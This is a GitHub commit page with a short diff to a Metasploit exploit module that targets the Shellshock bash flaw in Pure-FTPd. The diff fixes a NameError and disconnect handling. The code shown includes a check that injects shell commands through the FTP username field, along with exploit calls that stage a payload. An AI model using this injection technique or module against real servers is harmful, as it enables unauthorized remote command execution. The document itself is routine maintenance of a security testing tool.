Skip to content

Commit

Permalink
Fix #4019, fix NameError peer and disconnect in check
Browse files Browse the repository at this point in the history
  • Loading branch information
zeroSteiner committed Oct 16, 2014
1 parent d51d2bf commit 09069f7
Showing 1 changed file with 3 additions and 2 deletions.
5 changes: 3 additions & 2 deletions modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -75,11 +75,12 @@ def check
random_id = (rand(100) + 1)
command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end"
if send_command(username, command) =~ /^2\d\d ok./i
return CheckCode::Safe if banner !~ /pure-ftpd/i
disconnect
return CheckCode::Safe if banner !~ /pure-ftpd/i

command = "echo auth_ok:0; echo end"
if send_command(username, command) =~ /^5\d\d login authentication failed/i
disconnect
return CheckCode::Vulnerable
end
end
Expand All @@ -98,7 +99,7 @@ def exploit
# Cannot use generic/shell_reverse_tcp inside an elf
# Checking before proceeds
if generate_payload_exe.blank?
fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload")
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload")
end

execute_cmdstager(linemax: 500)
Expand Down

0 comments on commit 09069f7

Please sign in to comment.